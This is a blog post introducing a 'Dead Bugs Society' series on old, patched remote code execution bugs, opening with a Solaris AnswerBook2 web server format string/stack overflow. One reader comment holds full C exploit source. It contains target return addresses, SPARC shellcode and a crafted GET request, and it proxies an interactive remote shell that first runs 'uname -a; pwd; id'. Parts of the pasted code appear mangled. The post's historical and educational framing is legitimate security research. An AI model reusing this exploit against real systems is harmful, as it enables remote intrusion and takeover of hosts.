Dead Bugs Society: Introduction and AnswerBook2

Looking back, I have been finding and exploiting security vulnerabilities for almost a decade at this point and have always loved remote code injection exploits the most.  Notice that I didn’t call them “buffer overflows,” because I think that is too specific.  The rest of the industry has started calling them “remote code execution,” which is much better, but I still prefer my terminology from back when I was playing hacker-turned academic.

I refer to these vulnerabilities as memory trespass vulnerabilities since that is a more general term that is an accurate description of buffer overflow, format string injection, out-of-bounds array access, double-free, and uninitialized variable vulnerabilities where the attacker can write to memory outside of the semantics of the programming language runtime.  While these vulnerabilities can be exploited in a number of ways, the most popular technique is a code injection exploit where a standalone machine code fragment, the exploit payload, is executed by the target process via an injection vector.  Popular injection vectors include overwriting stack return addresses, exception handlers, and other code pointers.  I consider techniques that do not inject payloads but merely reuse code that already exists in the address space (i.e. return into system() to run a chosen command) a different way to exploit memory trespass vulnerabilities.  Those are far less common anyway.

So what does this have to do with anything and what is the “Dead Bugs Society?”  This will be an until-I-get-bored-with-it blog feature where I dredge up some old exploit, publish it, and wax poetic about it.  Most of these will be of the code injection variety, so I wanted to introduce my terms.  To be clear, these are all old long-ago patched vulnerabilities.  I will also only publish an exploit or detailed information for a vulnerability that has been fixed for at least a year.  These are for educational purposes only, unless you have a time machine in which case you better share because I’d like to go rock 1994 with my 2008 skills also.

For the debut of this series, I’m publishing the first remote zero-day code execution exploit that I wrote: a remote format string/stack overflow exploit against the AnswerBook2 web server that was enabled by default in Solaris 2.6 – 8 on TCP port 8888.  I reported these vulnerabilities to Sun immediately, but they took their sweet time in fixing them and I finally published the advisory 2 years later.  I tend to comment heavily, so it should be pretty self-explanatory.  Enjoy the antique warez!

Comments

  1. Can u publish a feed for your blog? Thx.

  2. Dino Dai Zovi says:

    @xyz There is now a “Meta” box on the main page with links to RSS feeds.

  3. I love this type of shit. I always loved the this old bug by Matasano. I’m working on incorporating some of this into my blog too, may want to bounced some ideas off you on getting some of my Apple PoC’s to fully working pwnabilitiy.

    -Nate

  4. I thought you’d find this amusing. Proof that marginal minds think alike I think. ;>

    Don’t have a timestamp on it, but it was around the same time.. ~2000/2001-ish I think. Don’t know if this was the finished version.. looks like it probably wasn’t.

    /*
    * Answerbook remote – horizon
    *
    * “I have seen the enemy; he looks an awful lot like me.”
    */

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    struct arch
    {
    int id;
    char *name;
    unsigned long addr;
    };

    struct arch archlist[] =
    {
    {1, “Solaris 7 (0xff stack) / dwhttpd/4.0.2a7a”, 0xfe509040},
    {2, “Solaris 2.6 / dwhttpd/4.0.2a7a”, 0xee909328},
    {0, 0, 0}
    };

    int arch;

    #define SPARC_NOP 0xac15a16e

    unsigned char sc[]=
    {0x90,0x1a,0x40,0x9,0x92,0x1a,0x40,0x9,0x82,0x10,0x20,0x17,0x91,0xd0,0x20,0x8,0x90,0x1a,0x40,0x9,0x92,0x1a,0x40,0x9,0x82,0x10,0x20,0x8d,0x91,0xd0,0x20,0x8,0x90,0x10,0x20,0x9,0x92,0x10,0x20,0x9,0x94,0x1a,0x80,0xa,0x82,0x10,0x20,0x3e,0x91,0xd0,0x20,0x8,0x90,0x10,0x20,0x9,0x92,0x10,0x20,0x9,0x94,0x10,0x20,0x1,0x82,0x10,0x20,0x3e,0x91,0xd0,0x20,0x8,0x90,0x10,0x20,0x9,0x92,0x10,0x20,0x9,0x94,0x10,0x20,0x2,0x82,0x10,0x20,0x3e,0x91,0xd0,0x20,0x8,0x2d,0xb,0xd8,0x9a,0xac,0x15,0xa1,0x6e,0x2f,0xb,0xdc,0xda,0x90,0xb,0x80,0xe,0x92,0x3,0xa0,0x8,0x94,0x1a,0x80,0xa,0x9c,0x3,0xa0,0x10,0xec,0x3b,0xbf,0xf0,0xdc,0x23,0xbf,0xf8,0xc0,0x23,0xbf,0xfc,0x82,0x10,0x20,0x3b,0x91,0xd0,0x20,0x8,0x68,0x6f,0x72,0x69,0x7a,0x6f,0x6e,0x5b,0x41,0x44,0x4d,0x5d,0x31,0x30,0x2f,0x39,0x39,0x0};

    unsigned long getip(char *name)
    {
    struct hostent *hp;
    unsigned long ip;

    if ((ip = inet_addr(name)) == -1)
    {
    if ((hp = gethostbyname(name)) == NULL)
    {
    fprintf(stderr, “Cant resolve host.\n”);
    exit(1);
    }
    memcpy(&ip, (hp->h_addr), 4);
    }
    return ip;
    }

    int proxyloop(int s)
    {
    char buf[8192];
    fd_set rset;
    int n;

    sleep(2);

    strcpy(buf, “cd /; uname -a; pwd; id;\n”);
    write(s, buf, strlen(buf));

    for (;;)
    {
    FD_ZERO(&rset);
    FD_SET(0,&rset);
    FD_SET(s, &rset);
    select(s+1, &rset, NULL, NULL, NULL);
    if (FD_ISSET(0, &rset))
    {
    if ((n=read(0,buf,sizeof(buf)))<=0)
    exit(0);
    write(s, buf, n);
    }
    if (FD_ISSET(s, &rset))
    {
    if ((n=read(s,buf,sizeof(buf)))<=0)
    exit(0);
    write(1, buf, n);
    }
    }
    return 0;
    }

    int conn(unsigned long server, unsigned short port)
    {
    int s;
    struct sockaddr_in sa;

    bzero(&sa, sizeof(sa));

    sa.sin_family=AF_INET;
    sa.sin_port=htons(port);
    sa.sin_addr.s_addr=server;

    if ((s=socket(AF_INET,SOCK_STREAM,0))==-1)
    {
    perror(“socket”);
    exit(42);
    }

    if (connect(s, (struct sockaddr *)&sa, sizeof (sa))==-1)
    {
    perror(“connect”);
    exit(42);
    }
    return s;
    }

    int main(int argc, char **argv)
    {
    int i,s,offset;
    char buf[8192];
    unsigned long nop=SPARC_NOP;
    char *walker;

    if (argc<2)
    {
    fprintf(stderr,”Usage: %s arch hostname\n”,argv[0]);
    fprintf(stderr,”Available architectures:\n”);
    i=-1;
    while (archlist[++i].id)
    fprintf(stderr,” %d: %s\n”,archlist[i].id,archlist[i].name);
    exit(1);
    }

    arch=atoi(argv[1])-1;

    s=conn(getip(argv[2]),8888);

    strcpy(buf,”GET %3800u”);

    walker=&(buf[strlen(buf)]);

    for (i=0;i>24)&255);
    *walker++=((archlist[arch].addr>>16)&255);
    *walker++=((archlist[arch].addr>>8)&255);
    *walker++=((archlist[arch].addr)&255);
    }

    strcpy(walker, ” HTTP/1.0\r\n”);

    write(s, buf, strlen(buf));
    buf[0]=’A';
    buf[1]=’A';
    buf[2]=’A';
    walker=buf+3;
    for (i=0;i>24)&255);
    *walker++=((SPARC_NOP>>16)&255);
    *walker++=((SPARC_NOP>>8)&255);
    *walker++=((SPARC_NOP)&255);
    }

    sprintf(walker,”%s\r\n\r\n”,sc);
    write(s, buf, strlen(buf));
    proxyloop(s);
    }

  5. @JohnMcDonald

    Awesome! I’m glad you had fun with that bug also. It’s nice to let some of the old code see the light of day. Maybe we could make an exploit museum someday…

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

Follow

Get every new post delivered to your Inbox.

Join 3,758 other followers

%d bloggers like this: